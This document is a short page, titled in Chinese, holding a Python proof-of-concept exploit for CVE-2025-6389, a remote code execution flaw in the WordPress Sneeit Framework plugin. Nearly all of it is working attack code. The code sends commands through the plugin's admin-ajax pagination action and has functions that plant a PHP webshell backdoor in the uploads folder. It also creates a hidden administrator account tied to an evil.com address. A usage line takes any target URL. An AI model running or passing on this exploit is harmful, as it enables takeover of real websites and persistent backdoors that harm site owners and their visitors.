CVE-2025-6389: Sneeit Framework插件远程代码执行漏洞

import requests import sys # CVE-2025-6389 PoC - Sneeit Framework RCE # Target: WordPress site with Sneeit Framework plugin < 8.4 def exploit_rce(target_url, command): """ Exploit the RCE vulnerability in sneeit_articles_pagination_callback() This function uses call_user_func() with user-controlled input """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # The vulnerable parameter that gets passed to call_user_func() # Attackers can specify any PHP function to execute payload = { 'action': 'sneeit_articles_pagination', 'pagination': command # User input passed to call_user_func() } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def create_backdoor(target_url): """ Create a backdoor by writing a PHP webshell to the server """ webshell = '<?php if(isset($_REQUEST[\'cmd\'])){ system($_REQUEST[\'cmd\']); } ?>' # Encode the command to write the webshell cmd = f'echo "{webshell}" > ../wp-content/uploads/backdoor.php' exploit_rce(target_url, f'system:{cmd}') print("[*] Backdoor creation attempted") def create_admin(target_url, username, password): """ Create a new admin user via command execution """ cmd = f'wp user create {username} {username}@evil.com --role=administrator --user_pass={password} --allow-root' exploit_rce(target_url, f'system:{cmd}') print(f"[*] Admin creation attempted: {username}/{password}") if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://example.com 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit_rce(target, f'system:{command}')